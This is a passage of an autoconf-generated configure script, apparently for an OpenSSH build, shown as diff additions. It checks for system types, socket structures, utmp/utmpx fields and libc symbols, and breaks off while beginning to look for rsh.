\"`echo '$''{'ac_cv_have_size_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + size_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3324: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_size_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_size_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_size_t" 1>&6 +if test "x$ac_cv_have_size_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SIZE_T 1 +EOF + +fi + +echo $ac_n "checking for ssize_t""... $ac_c" 1>&6 +echo "configure:3347: checking for ssize_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_ssize_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + ssize_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3362: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_ssize_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_ssize_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_ssize_t" 1>&6 +if test "x$ac_cv_have_ssize_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SSIZE_T 1 +EOF + +fi + +echo $ac_n "checking for sa_family_t""... $ac_c" 1>&6 +echo "configure:3385: checking for sa_family_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_sa_family_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + sa_family_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3401: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_sa_family_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_sa_family_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_sa_family_t" 1>&6 +if test "x$ac_cv_have_sa_family_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SA_FAMILY_T 1 +EOF + +fi + +echo $ac_n "checking for pid_t""... $ac_c" 1>&6 +echo "configure:3424: checking for pid_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_pid_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + pid_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3439: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_pid_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_pid_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_pid_t" 1>&6 +if test "x$ac_cv_have_pid_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_PID_T 1 +EOF + +fi + +echo $ac_n "checking for mode_t""... $ac_c" 1>&6 +echo "configure:3462: checking for mode_t" >&5 +if eval "test \"`echo '$''{'ac_cv_have_mode_t'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + mode_t foo; foo = 1235; +; return 0; } +EOF +if { (eval echo configure:3477: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_mode_t="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_mode_t="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_mode_t" 1>&6 +if test "x$ac_cv_have_mode_t" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_MODE_T 1 +EOF + +fi + + +echo $ac_n "checking for struct sockaddr_storage""... $ac_c" 1>&6 +echo "configure:3501: checking for struct sockaddr_storage" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_sockaddr_storage'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_storage s; +; return 0; } +EOF +if { (eval echo configure:3517: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_sockaddr_storage="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_sockaddr_storage="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_sockaddr_storage" 1>&6 +if test "x$ac_cv_have_struct_sockaddr_storage" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_SOCKADDR_STORAGE 1 +EOF + +fi + +echo $ac_n "checking for struct sockaddr_in6""... $ac_c" 1>&6 +echo "configure:3540: checking for struct sockaddr_in6" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_sockaddr_in6'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_in6 s; s.sin6_family = 0; +; return 0; } +EOF +if { (eval echo configure:3556: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_sockaddr_in6="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_sockaddr_in6="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_sockaddr_in6" 1>&6 +if test "x$ac_cv_have_struct_sockaddr_in6" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_SOCKADDR_IN6 1 +EOF + +fi + +echo $ac_n "checking for struct in6_addr""... $ac_c" 1>&6 +echo "configure:3579: checking for struct in6_addr" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_in6_addr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct in6_addr s; s.s6_addr[0] = 0; +; return 0; } +EOF +if { (eval echo configure:3595: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_in6_addr="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_in6_addr="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_in6_addr" 1>&6 +if test "x$ac_cv_have_struct_in6_addr" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_IN6_ADDR 1 +EOF + +fi + +echo $ac_n "checking for struct addrinfo""... $ac_c" 1>&6 +echo "configure:3618: checking for struct addrinfo" >&5 +if eval "test \"`echo '$''{'ac_cv_have_struct_addrinfo'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include +#include + +int main() { + struct addrinfo s; s.ai_flags = AI_PASSIVE; +; return 0; } +EOF +if { (eval echo configure:3635: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_struct_addrinfo="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_struct_addrinfo="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_struct_addrinfo" 1>&6 +if test "x$ac_cv_have_struct_addrinfo" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_STRUCT_ADDRINFO 1 +EOF + +fi + + +# Checks for structure members + + +# look for field 'ut_host' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_host + echo $ac_n "checking for ut_host field in utmp.h""... $ac_c" 1>&6 +echo "configure:3665: checking for ut_host field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_host" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_HOST_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_host' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_host + echo $ac_n "checking for ut_host field in utmpx.h""... $ac_c" 1>&6 +echo "configure:3705: checking for ut_host field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_host" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_HOST_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'syslen' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"syslen + echo $ac_n "checking for syslen field in utmpx.h""... $ac_c" 1>&6 +echo "configure:3745: checking for syslen field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "syslen" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_SYSLEN_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_pid' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_pid + echo $ac_n "checking for ut_pid field in utmp.h""... $ac_c" 1>&6 +echo "configure:3785: checking for ut_pid field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_pid" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_PID_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_type' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_type + echo $ac_n "checking for ut_type field in utmp.h""... $ac_c" 1>&6 +echo "configure:3825: checking for ut_type field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_type" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TYPE_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_type' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_type + echo $ac_n "checking for ut_type field in utmpx.h""... $ac_c" 1>&6 +echo "configure:3865: checking for ut_type field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_type" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TYPE_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_tv' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_tv + echo $ac_n "checking for ut_tv field in utmp.h""... $ac_c" 1>&6 +echo "configure:3905: checking for ut_tv field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_tv" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TV_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_id' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_id + echo $ac_n "checking for ut_id field in utmp.h""... $ac_c" 1>&6 +echo "configure:3945: checking for ut_id field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_id" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ID_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_id' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_id + echo $ac_n "checking for ut_id field in utmpx.h""... $ac_c" 1>&6 +echo "configure:3985: checking for ut_id field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_id" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ID_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr + echo $ac_n "checking for ut_addr field in utmp.h""... $ac_c" 1>&6 +echo "configure:4025: checking for ut_addr field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr + echo $ac_n "checking for ut_addr field in utmpx.h""... $ac_c" 1>&6 +echo "configure:4065: checking for ut_addr field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr_v6' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr_v6 + echo $ac_n "checking for ut_addr_v6 field in utmp.h""... $ac_c" 1>&6 +echo "configure:4105: checking for ut_addr_v6 field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr_v6" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_V6_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr_v6' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr_v6 + echo $ac_n "checking for ut_addr_v6 field in utmpx.h""... $ac_c" 1>&6 +echo "configure:4145: checking for ut_addr_v6 field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr_v6" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_V6_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_exit' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_exit + echo $ac_n "checking for ut_exit field in utmp.h""... $ac_c" 1>&6 +echo "configure:4185: checking for ut_exit field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_exit" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_EXIT_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_time' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_time + echo $ac_n "checking for ut_time field in utmp.h""... $ac_c" 1>&6 +echo "configure:4225: checking for ut_time field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_time" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TIME_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_time' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_time + echo $ac_n "checking for ut_time field in utmpx.h""... $ac_c" 1>&6 +echo "configure:4265: checking for ut_time field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_time" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TIME_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_tv' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_tv + echo $ac_n "checking for ut_tv field in utmpx.h""... $ac_c" 1>&6 +echo "configure:4305: checking for ut_tv field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_tv" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TV_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +echo $ac_n "checking for ss_family field in struct sockaddr_storage""... $ac_c" 1>&6 +echo "configure:4342: checking for ss_family field in struct sockaddr_storage" >&5 +if eval "test \"`echo '$''{'ac_cv_have_ss_family_in_struct_ss'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_storage s; s.ss_family = 1; +; return 0; } +EOF +if { (eval echo configure:4358: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_ss_family_in_struct_ss="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_ss_family_in_struct_ss="no" +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_ss_family_in_struct_ss" 1>&6 +if test "x$ac_cv_have_ss_family_in_struct_ss" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SS_FAMILY_IN_SS 1 +EOF + +fi + +echo $ac_n "checking for __ss_family field in struct sockaddr_storage""... $ac_c" 1>&6 +echo "configure:4380: checking for __ss_family field in struct sockaddr_storage" >&5 +if eval "test \"`echo '$''{'ac_cv_have___ss_family_in_struct_ss'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_storage s; s.__ss_family = 1; +; return 0; } +EOF +if { (eval echo configure:4396: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have___ss_family_in_struct_ss="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have___ss_family_in_struct_ss="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have___ss_family_in_struct_ss" 1>&6 +if test "x$ac_cv_have___ss_family_in_struct_ss" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE___SS_FAMILY_IN_SS 1 +EOF + +fi + + +echo $ac_n "checking if libc defines __progname""... $ac_c" 1>&6 +echo "configure:4420: checking if libc defines __progname" >&5 +if eval "test \"`echo '$''{'ac_cv_libc_defines___progname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines___progname="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_libc_defines___progname="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_libc_defines___progname" 1>&6 +if test "x$ac_cv_libc_defines___progname" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE___PROGNAME 1 +EOF + +fi + + +echo $ac_n "checking if libc defines sys_errlist""... $ac_c" 1>&6 +echo "configure:4457: checking if libc defines sys_errlist" >&5 +if eval "test \"`echo '$''{'ac_cv_libc_defines_sys_errlist'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines_sys_errlist="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_libc_defines_sys_errlist="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_libc_defines_sys_errlist" 1>&6 +if test "x$ac_cv_libc_defines_sys_errlist" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SYS_ERRLIST 1 +EOF + +fi + + +# Looking for programs, paths and files +# Check whether --with-rsh or --without-rsh was given. +if test "${with_rsh+set}" = set; then + withval="$with_rsh" + + if test "x$withval" != "$no" ; then + rsh_path=$withval + fi + +else + + # Extract the first word of "rsh", so it can be a program name with args. +set dummy rsh; ac_word=$2 +echo $ac_n "checking for $ac_word""... 